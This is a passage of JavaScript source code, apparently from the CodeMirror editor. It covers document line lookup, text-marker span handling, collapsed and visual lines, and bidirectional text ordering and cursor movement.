break }\n      n -= sz;\n    }\n  }\n  return chunk.lines[n]\n}\n\n// Get the part of a document between two positions, as an array of\n// strings.\nfunction getBetween(doc, start, end) {\n  var out = [], n = start.line;\n  doc.iter(start.line, end.line + 1, function (line) {\n    var text = line.text;\n    if (n == end.line) { text = text.slice(0, end.ch); }\n    if (n == start.line) { text = text.slice(start.ch); }\n    out.push(text);\n    ++n;\n  });\n  return out\n}\n// Get the lines between from and to, as array of strings.\nfunction getLines(doc, from, to) {\n  var out = [];\n  doc.iter(from, to, function (line) { out.push(line.text); }); // iter aborts when callback returns truthy value\n  return out\n}\n\n// Update the height of a line, propagating the height change\n// upwards to parent nodes.\nfunction updateLineHeight(line, height) {\n  var diff = height - line.height;\n  if (diff) { for (var n = line; n; n = n.parent) { n.height += diff; } }\n}\n\n// Given a line object, find its line number by walking up through\n// its parent links.\nfunction lineNo(line) {\n  if (line.parent == null) { return null }\n  var cur = line.parent, no = indexOf(cur.lines, line);\n  for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {\n    for (var i = 0;; ++i) {\n      if (chunk.children[i] == cur) { break }\n      no += chunk.children[i].chunkSize();\n    }\n  }\n  return no + cur.first\n}\n\n// Find the line at the given vertical position, using the height\n// information in the document tree.\nfunction lineAtHeight(chunk, h) {\n  var n = chunk.first;\n  outer: do {\n    for (var i$1 = 0; i$1 < chunk.children.length; ++i$1) {\n      var child = chunk.children[i$1], ch = child.height;\n      if (h < ch) { chunk = child; continue outer }\n      h -= ch;\n      n += child.chunkSize();\n    }\n    return n\n  } while (!chunk.lines)\n  var i = 0;\n  for (; i < chunk.lines.length; ++i) {\n    var line = chunk.lines[i], lh = line.height;\n    if (h < lh) { break }\n    h -= lh;\n  }\n  return n + i\n}\n\nfunction isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size}\n\nfunction lineNumberFor(options, i) {\n  return String(options.lineNumberFormatter(i + options.firstLineNumber))\n}\n\n// A Pos instance represents a position within the text.\nfunction Pos(line, ch, sticky) {\n  if ( sticky === void 0 ) sticky = null;\n\n  if (!(this instanceof Pos)) { return new Pos(line, ch, sticky) }\n  this.line = line;\n  this.ch = ch;\n  this.sticky = sticky;\n}\n\n// Compare two positions, return 0 if they are the same, a negative\n// number when a is less, and a positive number otherwise.\nfunction cmp(a, b) { return a.line - b.line || a.ch - b.ch }\n\nfunction equalCursorPos(a, b) { return a.sticky == b.sticky && cmp(a, b) == 0 }\n\nfunction copyPos(x) {return Pos(x.line, x.ch)}\nfunction maxPos(a, b) { return cmp(a, b) < 0 ? b : a }\nfunction minPos(a, b) { return cmp(a, b) < 0 ? a : b }\n\n// Most of the external API clips given positions to make sure they\n// actually exist within the document.\nfunction clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1))}\nfunction clipPos(doc, pos) {\n  if (pos.line < doc.first) { return Pos(doc.first, 0) }\n  var last = doc.first + doc.size - 1;\n  if (pos.line > last) { return Pos(last, getLine(doc, last).text.length) }\n  return clipToLen(pos, getLine(doc, pos.line).text.length)\n}\nfunction clipToLen(pos, linelen) {\n  var ch = pos.ch;\n  if (ch == null || ch > linelen) { return Pos(pos.line, linelen) }\n  else if (ch < 0) { return Pos(pos.line, 0) }\n  else { return pos }\n}\nfunction clipPosArray(doc, array) {\n  var out = [];\n  for (var i = 0; i < array.length; i++) { out[i] = clipPos(doc, array[i]); }\n  return out\n}\n\n// Optimize some code when these features are not used.\nvar sawReadOnlySpans = false;\nvar sawCollapsedSpans = false;\n\nfunction seeReadOnlySpans() {\n  sawReadOnlySpans = true;\n}\n\nfunction seeCollapsedSpans() {\n  sawCollapsedSpans = true;\n}\n\n// TEXTMARKER SPANS\n\nfunction MarkedSpan(marker, from, to) {\n  this.marker = marker;\n  this.from = from; this.to = to;\n}\n\n// Search an array of spans for a span matching the given marker.\nfunction getMarkedSpanFor(spans, marker) {\n  if (spans) { for (var i = 0; i < spans.length; ++i) {\n    var span = spans[i];\n    if (span.marker == marker) { return span }\n  } }\n}\n// Remove a span from an array, returning undefined if no spans are\n// left (we don't store arrays for lines without spans).\nfunction removeMarkedSpan(spans, span) {\n  var r;\n  for (var i = 0; i < spans.length; ++i)\n    { if (spans[i] != span) { (r || (r = [])).push(spans[i]); } }\n  return r\n}\n// Add a span to a line.\nfunction addMarkedSpan(line, span) {\n  line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];\n  span.marker.attachLine(line);\n}\n\n// Used for the algorithm that adjusts markers for a change in the\n// document. These functions cut an array of spans at a given\n// character position, returning an array of remaining chunks (or\n// undefined if nothing remains).\nfunction markedSpansBefore(old, startCh, isInsert) {\n  var nw;\n  if (old) { for (var i = 0; i < old.length; ++i) {\n    var span = old[i], marker = span.marker;\n    var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);\n    if (startsBefore || span.from == startCh && marker.type == \"bookmark\" && (!isInsert || !span.marker.insertLeft)) {\n      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);(nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));\n    }\n  } }\n  return nw\n}\nfunction markedSpansAfter(old, endCh, isInsert) {\n  var nw;\n  if (old) { for (var i = 0; i < old.length; ++i) {\n    var span = old[i], marker = span.marker;\n    var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);\n    if (endsAfter || span.from == endCh && marker.type == \"bookmark\" && (!isInsert || span.marker.insertLeft)) {\n      var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);(nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,\n                                            span.to == null ? null : span.to - endCh));\n    }\n  } }\n  return nw\n}\n\n// Given a change object, compute the new set of marker spans that\n// cover the line in which the change took place. Removes spans\n// entirely within the change, reconnects spans belonging to the\n// same marker that appear on both sides of the change, and cuts off\n// spans partially within the change. Returns an array of span\n// arrays with one element for each line in (after) the change.\nfunction stretchSpansOverChange(doc, change) {\n  if (change.full) { return null }\n  var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;\n  var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;\n  if (!oldFirst && !oldLast) { return null }\n\n  var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;\n  // Get the spans that 'stick out' on both sides\n  var first = markedSpansBefore(oldFirst, startCh, isInsert);\n  var last = markedSpansAfter(oldLast, endCh, isInsert);\n\n  // Next, merge those two ends\n  var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);\n  if (first) {\n    // Fix up .to properties of first\n    for (var i = 0; i < first.length; ++i) {\n      var span = first[i];\n      if (span.to == null) {\n        var found = getMarkedSpanFor(last, span.marker);\n        if (!found) { span.to = startCh; }\n        else if (sameLine) { span.to = found.to == null ? null : found.to + offset; }\n      }\n    }\n  }\n  if (last) {\n    // Fix up .from in last (or move them into first in case of sameLine)\n    for (var i$1 = 0; i$1 < last.length; ++i$1) {\n      var span$1 = last[i$1];\n      if (span$1.to != null) { span$1.to += offset; }\n      if (span$1.from == null) {\n        var found$1 = getMarkedSpanFor(first, span$1.marker);\n        if (!found$1) {\n          span$1.from = offset;\n          if (sameLine) { (first || (first = [])).push(span$1); }\n        }\n      } else {\n        span$1.from += offset;\n        if (sameLine) { (first || (first = [])).push(span$1); }\n      }\n    }\n  }\n  // Make sure we didn't create any zero-length spans\n  if (first) { first = clearEmptySpans(first); }\n  if (last && last != first) { last = clearEmptySpans(last); }\n\n  var newMarkers = [first];\n  if (!sameLine) {\n    // Fill gap with whole-line-spans\n    var gap = change.text.length - 2, gapMarkers;\n    if (gap > 0 && first)\n      { for (var i$2 = 0; i$2 < first.length; ++i$2)\n        { if (first[i$2].to == null)\n          { (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i$2].marker, null, null)); } } }\n    for (var i$3 = 0; i$3 < gap; ++i$3)\n      { newMarkers.push(gapMarkers); }\n    newMarkers.push(last);\n  }\n  return newMarkers\n}\n\n// Remove spans that are empty and don't have a clearWhenEmpty\n// option of false.\nfunction clearEmptySpans(spans) {\n  for (var i = 0; i < spans.length; ++i) {\n    var span = spans[i];\n    if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)\n      { spans.splice(i--, 1); }\n  }\n  if (!spans.length) { return null }\n  return spans\n}\n\n// Used to 'clip' out readOnly ranges when making a change.\nfunction removeReadOnlyRanges(doc, from, to) {\n  var markers = null;\n  doc.iter(from.line, to.line + 1, function (line) {\n    if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length; ++i) {\n      var mark = line.markedSpans[i].marker;\n      if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))\n        { (markers || (markers = [])).push(mark); }\n    } }\n  });\n  if (!markers) { return null }\n  var parts = [{from: from, to: to}];\n  for (var i = 0; i < markers.length; ++i) {\n    var mk = markers[i], m = mk.find(0);\n    for (var j = 0; j < parts.length; ++j) {\n      var p = parts[j];\n      if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) { continue }\n      var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);\n      if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)\n        { newParts.push({from: p.from, to: m.from}); }\n      if (dto > 0 || !mk.inclusiveRight && !dto)\n        { newParts.push({from: m.to, to: p.to}); }\n      parts.splice.apply(parts, newParts);\n      j += newParts.length - 3;\n    }\n  }\n  return parts\n}\n\n// Connect or disconnect spans from a line.\nfunction detachMarkedSpans(line) {\n  var spans = line.markedSpans;\n  if (!spans) { return }\n  for (var i = 0; i < spans.length; ++i)\n    { spans[i].marker.detachLine(line); }\n  line.markedSpans = null;\n}\nfunction attachMarkedSpans(line, spans) {\n  if (!spans) { return }\n  for (var i = 0; i < spans.length; ++i)\n    { spans[i].marker.attachLine(line); }\n  line.markedSpans = spans;\n}\n\n// Helpers used when computing which overlapping collapsed span\n// counts as the larger one.\nfunction extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0 }\nfunction extraRight(marker) { return marker.inclusiveRight ? 1 : 0 }\n\n// Returns a number indicating which of two overlapping collapsed\n// spans is larger (and thus includes the other). Falls back to\n// comparing ids when the spans cover exactly the same range.\nfunction compareCollapsedMarkers(a, b) {\n  var lenDiff = a.lines.length - b.lines.length;\n  if (lenDiff != 0) { return lenDiff }\n  var aPos = a.find(), bPos = b.find();\n  var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);\n  if (fromCmp) { return -fromCmp }\n  var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);\n  if (toCmp) { return toCmp }\n  return b.id - a.id\n}\n\n// Find out whether a line ends or starts in a collapsed span. If\n// so, return the marker for that span.\nfunction collapsedSpanAtSide(line, start) {\n  var sps = sawCollapsedSpans && line.markedSpans, found;\n  if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {\n    sp = sps[i];\n    if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&\n        (!found || compareCollapsedMarkers(found, sp.marker) < 0))\n      { found = sp.marker; }\n  } }\n  return found\n}\nfunction collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true) }\nfunction collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false) }\n\n// Test whether there exists a collapsed span that partially\n// overlaps (covers the start or end, but not both) of a new span.\n// Such overlap is not allowed.\nfunction conflictingCollapsedRange(doc, lineNo$$1, from, to, marker) {\n  var line = getLine(doc, lineNo$$1);\n  var sps = sawCollapsedSpans && line.markedSpans;\n  if (sps) { for (var i = 0; i < sps.length; ++i) {\n    var sp = sps[i];\n    if (!sp.marker.collapsed) { continue }\n    var found = sp.marker.find(0);\n    var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);\n    var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);\n    if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) { continue }\n    if (fromCmp <= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.to, from) >= 0 : cmp(found.to, from) > 0) ||\n        fromCmp >= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.from, to) <= 0 : cmp(found.from, to) < 0))\n      { return true }\n  } }\n}\n\n// A visual line is a line as drawn on the screen. Folding, for\n// example, can cause multiple logical lines to appear on the same\n// visual line. This finds the start of the visual line that the\n// given line is part of (usually that is the line itself).\nfunction visualLine(line) {\n  var merged;\n  while (merged = collapsedSpanAtStart(line))\n    { line = merged.find(-1, true).line; }\n  return line\n}\n\nfunction visualLineEnd(line) {\n  var merged;\n  while (merged = collapsedSpanAtEnd(line))\n    { line = merged.find(1, true).line; }\n  return line\n}\n\n// Returns an array of logical lines that continue the visual line\n// started by the argument, or undefined if there are no such lines.\nfunction visualLineContinued(line) {\n  var merged, lines;\n  while (merged = collapsedSpanAtEnd(line)) {\n    line = merged.find(1, true).line\n    ;(lines || (lines = [])).push(line);\n  }\n  return lines\n}\n\n// Get the line number of the start of the visual line that the\n// given line number is part of.\nfunction visualLineNo(doc, lineN) {\n  var line = getLine(doc, lineN), vis = visualLine(line);\n  if (line == vis) { return lineN }\n  return lineNo(vis)\n}\n\n// Get the line number of the start of the next visual line after\n// the given line.\nfunction visualLineEndNo(doc, lineN) {\n  if (lineN > doc.lastLine()) { return lineN }\n  var line = getLine(doc, lineN), merged;\n  if (!lineIsHidden(doc, line)) { return lineN }\n  while (merged = collapsedSpanAtEnd(line))\n    { line = merged.find(1, true).line; }\n  return lineNo(line) + 1\n}\n\n// Compute whether a line is hidden. Lines count as hidden when they\n// are part of a visual line that starts with another line, or when\n// they are entirely covered by collapsed, non-widget span.\nfunction lineIsHidden(doc, line) {\n  var sps = sawCollapsedSpans && line.markedSpans;\n  if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {\n    sp = sps[i];\n    if (!sp.marker.collapsed) { continue }\n    if (sp.from == null) { return true }\n    if (sp.marker.widgetNode) { continue }\n    if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))\n      { return true }\n  } }\n}\nfunction lineIsHiddenInner(doc, line, span) {\n  if (span.to == null) {\n    var end = span.marker.find(1, true);\n    return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker))\n  }\n  if (span.marker.inclusiveRight && span.to == line.text.length)\n    { return true }\n  for (var sp = (void 0), i = 0; i < line.markedSpans.length; ++i) {\n    sp = line.markedSpans[i];\n    if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&\n        (sp.to == null || sp.to != span.from) &&\n        (sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&\n        lineIsHiddenInner(doc, line, sp)) { return true }\n  }\n}\n\n// Find the height above the given line.\nfunction heightAtLine(lineObj) {\n  lineObj = visualLine(lineObj);\n\n  var h = 0, chunk = lineObj.parent;\n  for (var i = 0; i < chunk.lines.length; ++i) {\n    var line = chunk.lines[i];\n    if (line == lineObj) { break }\n    else { h += line.height; }\n  }\n  for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {\n    for (var i$1 = 0; i$1 < p.children.length; ++i$1) {\n      var cur = p.children[i$1];\n      if (cur == chunk) { break }\n      else { h += cur.height; }\n    }\n  }\n  return h\n}\n\n// Compute the character length of a line, taking into account\n// collapsed ranges (see markText) that might hide parts, and join\n// other lines onto it.\nfunction lineLength(line) {\n  if (line.height == 0) { return 0 }\n  var len = line.text.length, merged, cur = line;\n  while (merged = collapsedSpanAtStart(cur)) {\n    var found = merged.find(0, true);\n    cur = found.from.line;\n    len += found.from.ch - found.to.ch;\n  }\n  cur = line;\n  while (merged = collapsedSpanAtEnd(cur)) {\n    var found$1 = merged.find(0, true);\n    len -= cur.text.length - found$1.from.ch;\n    cur = found$1.to.line;\n    len += cur.text.length - found$1.to.ch;\n  }\n  return len\n}\n\n// Find the longest line in the document.\nfunction findMaxLine(cm) {\n  var d = cm.display, doc = cm.doc;\n  d.maxLine = getLine(doc, doc.first);\n  d.maxLineLength = lineLength(d.maxLine);\n  d.maxLineChanged = true;\n  doc.iter(function (line) {\n    var len = lineLength(line);\n    if (len > d.maxLineLength) {\n      d.maxLineLength = len;\n      d.maxLine = line;\n    }\n  });\n}\n\n// BIDI HELPERS\n\nfunction iterateBidiSections(order, from, to, f) {\n  if (!order) { return f(from, to, \"ltr\") }\n  var found = false;\n  for (var i = 0; i < order.length; ++i) {\n    var part = order[i];\n    if (part.from < to && part.to > from || from == to && part.to == from) {\n      f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? \"rtl\" : \"ltr\");\n      found = true;\n    }\n  }\n  if (!found) { f(from, to, \"ltr\"); }\n}\n\nvar bidiOther = null;\nfunction getBidiPartAt(order, ch, sticky) {\n  var found;\n  bidiOther = null;\n  for (var i = 0; i < order.length; ++i) {\n    var cur = order[i];\n    if (cur.from < ch && cur.to > ch) { return i }\n    if (cur.to == ch) {\n      if (cur.from != cur.to && sticky == \"before\") { found = i; }\n      else { bidiOther = i; }\n    }\n    if (cur.from == ch) {\n      if (cur.from != cur.to && sticky != \"before\") { found = i; }\n      else { bidiOther = i; }\n    }\n  }\n  return found != null ? found : bidiOther\n}\n\n// Bidirectional ordering algorithm\n// See http://unicode.org/reports/tr9/tr9-13.html for the algorithm\n// that this (partially) implements.\n\n// One-char codes used for character types:\n// L (L):   Left-to-Right\n// R (R):   Right-to-Left\n// r (AL):  Right-to-Left Arabic\n// 1 (EN):  European Number\n// + (ES):  European Number Separator\n// % (ET):  European Number Terminator\n// n (AN):  Arabic Number\n// , (CS):  Common Number Separator\n// m (NSM): Non-Spacing Mark\n// b (BN):  Boundary Neutral\n// s (B):   Paragraph Separator\n// t (S):   Segment Separator\n// w (WS):  Whitespace\n// N (ON):  Other Neutrals\n\n// Returns null if characters are ordered as they appear\n// (left-to-right), or an array of sections ({from, to, level}\n// objects) in the order in which they occur visually.\nvar bidiOrdering = (function() {\n  // Character types for codepoints 0 to 0xff\n  var lowTypes = \"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN\";\n  // Character types for codepoints 0x600 to 0x6f9\n  var arabicTypes = \"nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111\";\n  function charType(code) {\n    if (code <= 0xf7) { return lowTypes.charAt(code) }\n    else if (0x590 <= code && code <= 0x5f4) { return \"R\" }\n    else if (0x600 <= code && code <= 0x6f9) { return arabicTypes.charAt(code - 0x600) }\n    else if (0x6ee <= code && code <= 0x8ac) { return \"r\" }\n    else if (0x2000 <= code && code <= 0x200b) { return \"w\" }\n    else if (code == 0x200c) { return \"b\" }\n    else { return \"L\" }\n  }\n\n  var bidiRE = /[\\u0590-\\u05f4\\u0600-\\u06ff\\u0700-\\u08ac]/;\n  var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;\n\n  function BidiSpan(level, from, to) {\n    this.level = level;\n    this.from = from; this.to = to;\n  }\n\n  return function(str, direction) {\n    var outerType = direction == \"ltr\" ? \"L\" : \"R\";\n\n    if (str.length == 0 || direction == \"ltr\" && !bidiRE.test(str)) { return false }\n    var len = str.length, types = [];\n    for (var i = 0; i < len; ++i)\n      { types.push(charType(str.charCodeAt(i))); }\n\n    // W1. Examine each non-spacing mark (NSM) in the level run, and\n    // change the type of the NSM to the type of the previous\n    // character. If the NSM is at the start of the level run, it will\n    // get the type of sor.\n    for (var i$1 = 0, prev = outerType; i$1 < len; ++i$1) {\n      var type = types[i$1];\n      if (type == \"m\") { types[i$1] = prev; }\n      else { prev = type; }\n    }\n\n    // W2. Search backwards from each instance of a European number\n    // until the first strong type (R, L, AL, or sor) is found. If an\n    // AL is found, change the type of the European number to Arabic\n    // number.\n    // W3. Change all ALs to R.\n    for (var i$2 = 0, cur = outerType; i$2 < len; ++i$2) {\n      var type$1 = types[i$2];\n      if (type$1 == \"1\" && cur == \"r\") { types[i$2] = \"n\"; }\n      else if (isStrong.test(type$1)) { cur = type$1; if (type$1 == \"r\") { types[i$2] = \"R\"; } }\n    }\n\n    // W4. A single European separator between two European numbers\n    // changes to a European number. A single common separator between\n    // two numbers of the same type changes to that type.\n    for (var i$3 = 1, prev$1 = types[0]; i$3 < len - 1; ++i$3) {\n      var type$2 = types[i$3];\n      if (type$2 == \"+\" && prev$1 == \"1\" && types[i$3+1] == \"1\") { types[i$3] = \"1\"; }\n      else if (type$2 == \",\" && prev$1 == types[i$3+1] &&\n               (prev$1 == \"1\" || prev$1 == \"n\")) { types[i$3] = prev$1; }\n      prev$1 = type$2;\n    }\n\n    // W5. A sequence of European terminators adjacent to European\n    // numbers changes to all European numbers.\n    // W6. Otherwise, separators and terminators change to Other\n    // Neutral.\n    for (var i$4 = 0; i$4 < len; ++i$4) {\n      var type$3 = types[i$4];\n      if (type$3 == \",\") { types[i$4] = \"N\"; }\n      else if (type$3 == \"%\") {\n        var end = (void 0);\n        for (end = i$4 + 1; end < len && types[end] == \"%\"; ++end) {}\n        var replace = (i$4 && types[i$4-1] == \"!\") || (end < len && types[end] == \"1\") ? \"1\" : \"N\";\n        for (var j = i$4; j < end; ++j) { types[j] = replace; }\n        i$4 = end - 1;\n      }\n    }\n\n    // W7. Search backwards from each instance of a European number\n    // until the first strong type (R, L, or sor) is found. If an L is\n    // found, then change the type of the European number to L.\n    for (var i$5 = 0, cur$1 = outerType; i$5 < len; ++i$5) {\n      var type$4 = types[i$5];\n      if (cur$1 == \"L\" && type$4 == \"1\") { types[i$5] = \"L\"; }\n      else if (isStrong.test(type$4)) { cur$1 = type$4; }\n    }\n\n    // N1. A sequence of neutrals takes the direction of the\n    // surrounding strong text if the text on both sides has the same\n    // direction. European and Arabic numbers act as if they were R in\n    // terms of their influence on neutrals. Start-of-level-run (sor)\n    // and end-of-level-run (eor) are used at level run boundaries.\n    // N2. Any remaining neutrals take the embedding direction.\n    for (var i$6 = 0; i$6 < len; ++i$6) {\n      if (isNeutral.test(types[i$6])) {\n        var end$1 = (void 0);\n        for (end$1 = i$6 + 1; end$1 < len && isNeutral.test(types[end$1]); ++end$1) {}\n        var before = (i$6 ? types[i$6-1] : outerType) == \"L\";\n        var after = (end$1 < len ? types[end$1] : outerType) == \"L\";\n        var replace$1 = before == after ? (before ? \"L\" : \"R\") : outerType;\n        for (var j$1 = i$6; j$1 < end$1; ++j$1) { types[j$1] = replace$1; }\n        i$6 = end$1 - 1;\n      }\n    }\n\n    // Here we depart from the documented algorithm, in order to avoid\n    // building up an actual levels array. Since there are only three\n    // levels (0, 1, 2) in an implementation that doesn't take\n    // explicit embedding into account, we can build up the order on\n    // the fly, without following the level-based algorithm.\n    var order = [], m;\n    for (var i$7 = 0; i$7 < len;) {\n      if (countsAsLeft.test(types[i$7])) {\n        var start = i$7;\n        for (++i$7; i$7 < len && countsAsLeft.test(types[i$7]); ++i$7) {}\n        order.push(new BidiSpan(0, start, i$7));\n      } else {\n        var pos = i$7, at = order.length;\n        for (++i$7; i$7 < len && types[i$7] != \"L\"; ++i$7) {}\n        for (var j$2 = pos; j$2 < i$7;) {\n          if (countsAsNum.test(types[j$2])) {\n            if (pos < j$2) { order.splice(at, 0, new BidiSpan(1, pos, j$2)); }\n            var nstart = j$2;\n            for (++j$2; j$2 < i$7 && countsAsNum.test(types[j$2]); ++j$2) {}\n            order.splice(at, 0, new BidiSpan(2, nstart, j$2));\n            pos = j$2;\n          } else { ++j$2; }\n        }\n        if (pos < i$7) { order.splice(at, 0, new BidiSpan(1, pos, i$7)); }\n      }\n    }\n    if (order[0].level == 1 && (m = str.match(/^\\s+/))) {\n      order[0].from = m[0].length;\n      order.unshift(new BidiSpan(0, 0, m[0].length));\n    }\n    if (lst(order).level == 1 && (m = str.match(/\\s+$/))) {\n      lst(order).to -= m[0].length;\n      order.push(new BidiSpan(0, len - m[0].length, len));\n    }\n\n    return direction == \"rtl\" ? order.reverse() : order\n  }\n})();\n\n// Get the bidi ordering for the given line (and cache it). Returns\n// false for lines that are fully left-to-right, and an array of\n// BidiSpan objects otherwise.\nfunction getOrder(line, direction) {\n  var order = line.order;\n  if (order == null) { order = line.order = bidiOrdering(line.text, direction); }\n  return order\n}\n\nfunction moveCharLogically(line, ch, dir) {\n  var target = skipExtendingChars(line.text, ch + dir, dir);\n  return target < 0 || target > line.text.length ? null : target\n}\n\nfunction moveLogically(line, start, dir) {\n  var ch = moveCharLogically(line, start.ch, dir);\n  return ch == null ? null : new Pos(start.line, ch, dir < 0 ? \"after\" : \"before\")\n}\n\nfunction endOfLine(visually, cm, lineObj, lineNo, dir) {\n  if (visually) {\n    var order = getOrder(lineObj, cm.doc.direction);\n    if (order) {\n      var part = dir < 0 ? lst(order) : order[0];\n      var moveInStorageOrder = (dir < 0) == (part.level == 1);\n      var sticky = moveInStorageOrder ? \"after\" : \"before\";\n      var ch;\n      // With a wrapped rtl chunk (possibly spanning multiple bidi parts),\n      // it could be that the last bidi part is not on the last visual line,\n      // since visual lines contain content order-consecutive chunks.\n      // Thus, in rtl, we are looking for the first (content-order) character\n      // in the rtl chunk that is on the last line (that is, the same line\n      // as the last (content-order) character).\n      if (part.level > 0) {\n        var prep = prepareMeasureForLine(cm, lineObj);\n        ch = dir < 0 ? lineObj.text.length - 1 : 0;\n        var targetTop = measureCharPrepared(cm, prep, ch).top;\n        ch = findFirst(function (ch) { return measureCharPrepared(cm, prep, ch).top == targetTop; }, (dir < 0) == (part.level == 1) ? part.from : part.to - 1, ch);\n        if (sticky == \"before\") { ch = moveCharLogically(lineObj, ch, 1); }\n      } else { ch = dir < 0 ? part.to : part.from; }\n      return new Pos(lineNo, ch, sticky)\n    }\n  }\n  return new Pos(lineNo, dir < 0 ? lineObj.text.length : 0, dir < 0 ? \"before\" : \"after\")\n}\n\nfunction moveVisually(cm, line, start, dir) {\n  var bidi = getOrder(line, cm.doc.direction);\n  if (!bidi) { return moveLogically(line, start, dir) }\n  if (start.ch >= line.text.length) {\n    start.ch = line.text.length;\n    start.sticky = \"before\";\n  } else if (start.ch <= 0) {\n    start.ch = 0;\n    start.sticky = \"after\";\n  }\n  var partPos = getBidiPartAt(bidi, start.ch, start.sticky), part = bidi[partPos];\n  if (cm.doc.direction == \"ltr\" && part.level % 2 == 0 && (dir > 0 ? part.to > start.ch : part.from < start.ch)) {\n    // Case 1: We move within an ltr part in an ltr editor. Even with wrapped lines,\n    // nothing interesting happens.\n    return moveLogically(line, start, dir)\n  }\n\n  var mv = function (pos, dir) { return moveCharLogically(line, pos instanceof Pos ? pos.ch : pos, dir); };\n  var prep;\n  var getWrappedLineExtent = function (ch) {\n    if (!cm.options.lineWrapping) { return {begin: 0, end: line.text.length} }\n    prep = prep || prepareMeasureForLine(cm, line);\n    return wrappedLineExtentChar(cm, line, prep, ch)\n  };\n  var wrappedLineExtent = getWrappedLineExtent(start.sticky == \"before\" ? mv(start, -1) : start.ch);\n\n  if (cm.doc.direction == \"rtl\" || part.level == 1) {\n    var moveInStorageOrder = (part.level == 1) == (dir < 0);\n    var ch = mv(start, moveInStorageOrder ? 1 : -1);\n    if (ch != null && (!moveInStorageOrder ? ch >= part.from && ch >= wrappedLineExtent.begin : ch <= part.to && ch <= wrappedLineExtent.end)) {\n      // Case 2: We move within an rtl part or in an rtl editor on the same visual line\n      var sticky = moveInStorageOrder ? \"before\" : \"after\";\n      return new Pos(start.line, ch, sticky)\n    }\n  }\n\n  // Case 3: Could not move within this bidi part in this visual line, so leave\n  // the current bidi part\n\n  var searchInVisualLine = function (partPos, dir, wrappedLineExtent) {\n    var getRes = function (ch, moveInStorageOrder) { return moveInStorageOrder\n      ? new Pos(start.line, mv(ch, 1), \"before\")\n      : new Pos(start.line, ch, \"after\"); };\n\n    for (; partPos >= 0 && partPos < bidi.length; partPos += dir) {\n      var part = bidi[partPos];\n      var moveInStorageOrder = (dir > 0) == (part.level != 1);\n      var ch = moveInStorageOrder ? wrappedLineExtent.begin : mv(wrappedLineExtent.end, -1);\n      if (part.from <= ch && ch < part.to) { return getRes(ch, moveInStorageOrder) }\n      ch = moveInStorageOrder ? part.from : mv(part.to, -1);\n      if (wrappedLineExtent.begin <= ch && ch < wrappedLineExtent.end) { return getRes(ch, moveInStorageOrder) }\n    }\n  };\n\n  // Case 3a: Look for other bidi parts on the same visual line\n  var res = searchInVisualLine(partPos + dir, dir, wrappedLineExtent);\n  if (res) { return res }\n\n  // Case 3b: Look for other bidi parts on the next visual line\n  var nextCh = dir > 0 ? wrappedLineExtent.end : mv(wrappedLineExtent.begin, -1);\n  if (nextCh != null && !(dir > 0 && nextCh == line.text.length)) {\n    res = searchInVisualLine(dir > 0 ? 0 : bidi.length - 1, dir, getWrappedLineExtent(nextCh));\n    if (res) { return res }\n  